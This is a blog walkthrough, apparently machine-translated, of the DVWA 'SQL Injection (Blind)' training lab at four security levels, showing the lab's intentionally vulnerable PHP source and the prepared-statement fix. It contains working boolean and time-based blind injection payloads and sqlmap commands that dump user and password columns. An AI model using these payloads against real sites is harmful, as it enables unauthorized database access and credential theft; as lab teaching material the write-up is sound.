DVWA之SQL Injection (Blind)

DVWA之SQL Injection (Blind)

low

Looking at the source code, we can see that there is no filtering on the input string

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    
    
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
    
    
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
    
    
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#

http://dvwa/vulnerabilities/sqli_blind/?id=1'&Submit=Submit#


Here we find that we will return exists if the statement is correct, and MISSING will be returned if the statement is wrong, so here we use union injection is not feasible, here we can only use Boolean blind injection

Determine whether it is numeric or character injection

http://dvwa/vulnerabilities/sqli_blind/?id=1 and 1=1--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1 and 1=2--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1' and 1=1--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1' and 1=2--+&Submit=Submit# #MISSING

So it is judged to be a character type injection to
judge the current database length

http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>10--+&Submit=Submit# #MISSING
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>5--+&Submit=Submit# #MISSING
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>3--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>4--+&Submit=Submit# #MISSING
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())=4--+&Submit=Submit# #exists

So it is judged that the current database length is 4

Determine the first letter of the current database

http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr(database(),1,1)='a'--+&Submit=Submit# #MISSING

Guessing one by one is too much trouble. Here we directly send to burpsuite for brute force cracking.

Determine the first letter of the current database as d. According to this method, guess the next three letters as vwa, so the current database is dvwa

Determine how many tables are under the dvwa library

http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select count(*) from information_schema.tables where table_schema=database())=1--+&Submit=Submit# #MISSING

Continue to use burpsuite to blast,

so there are two tables under dvwa

Determine the length of the two tables

http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1--+&Submit=Submit# #MISSING


Judge the length of the first table as 9, according to this method, guess the length of the second table as 5

Judging the first letter of the first table under the dvwa library

http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'--+&Submit=Submit# #MINSSING


So the first letter of the first table under the dvwa library is d. According to this method, guess that the first table is guestbook and the second table is users.

Determine how many fields are under the users table

http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select count(*) from information_schema.columns where table_name='users' )=1--+&Submit=Submit# #MISSING


So there are 14 fields under the users table

Determine the length of the first field under the users table

http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1--+&Submit=Submit# #MISSING


Therefore, the length of the first field under the users table is 7, follow this method to guess the length of all the lots in turn

Determine the first letter of the first field under the users table

http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'--+&Submit=Submit# #MISSING


Follow this method to guess all the fields in turn

Determine how many values ​​are under the user field

http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select count(*) from users)=1--+&Submit=Submit# #MISSING


So there are 5 fields

Determine the first letter of the first value of the user field

http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr((select user from users limit 0,1),1,1)='a'--+&Submit=Submit# #exists


So the first letter of the first value under the user field is a. Follow this method to guess all the fields under the user and password fields in turn.

Pick an account and password to verify the account password we guessed. The


login is successful
one by one. Guess it is too much trouble, we can also use SQL injection automation tool sqlmap for SQL injection
View the current library

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" --dbs

-Batch # automation complete
-cookie # Fill cookie information, because we need to start here login first injection, so we need to enter the cookie information
-dbs View all current library

to see all of the following database tables dvwa

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" -D dvwa --tables

-D dvwa --tables #View all tables under dvwa View

all fields under the users table

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" -D dvwa -T users --columns

-D dvwa -T users --columns #View all fields under the users table under the dvwa library

View all values ​​under the user and password fields

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" -D dvwa -T users -C user,password --dump

-D dvwa -T users -C user,password --dump #View all the values ​​under the user and password fields under the users table in the dawa library.

Here sqlmap will automatically call a dictionary, or you can manually specify it to a dictionary prepared by yourself. Will automatically decrypt it for you

medium

Adjusting the level to the middle level, we found that we can only choose numbers from 1 to 5, and we can’t see what we submitted on the url after the selection, because the number we entered here is submitted to the backend by POST. Looking at the source code, we can see that the id has been processed to a certain extent, and the single quotes we entered will be escaped, so here we can only inject numbers or wide bytes.

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    
    
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
    
    
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
    
    
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

Here we use hackbar to grab POST packets

Submit=Submit&id=1 and 1=1--+ #exists
Submit=Submit&id=1 and 1=2--+ #MISSING

So it is judged to be digital injection, and the subsequent method is exactly the same as the low level. Here we introduce a new method, time blind, which is actually a Boolena blind. Here we have judged it to be digital injection

Submit=Submit&id=1 and sleep(5)--+


It is found here that the page will sleep for 5 seconds before querying, we can take advantage of this feature

Determine the current database length

Submit=Submit&id=1 and if(length(database())=4,sleep(5),1)--+


This sentence means whether the length of the current database is 4, if it is, the query sleeps for 5 seconds, if it is not, then query 1, we find that the page does sleep for 5 seconds, so we judge that the current database length is 4.

Determine the first letter of the current database

Submit=Submit&id=1 and if(ascii(substr(database(),1,1))=100,sleep(5),1) --+


Because the single quotation marks are escaped here, we convert the letters to ascii codes for searching. The page sleeps for 5 seconds and searches the ascii code table. The letter corresponding to 100 is d, so it is judged that the first letter of the current database is d. Follow this method to search in turn and determine that the current database is dvwa. The following process is basically similar to the low level. Just add an if judgment condition in front. You can also use sqlmap for automatic injection, which will not be repeated here.

high

Looking at the source code, we can see that when we enter the id, it will automatically jump to another page, and then add a limit function after the sql statement

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    
    
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
    
    
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
    
    
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
    
    
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Because it only prevents the use of automated tools for injection, it is exactly the same as the low level. We can directly use # to comment out the limit function behind. The specific process depends on my low level.

impossible

Looking at the source code, we can see that the PDO technology is used, so SQL injection is eliminated

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    
    
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
    
    
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
    
    
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
    
    
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Guess you like

Origin blog.csdn.net/kukudeshuo/article/details/115047848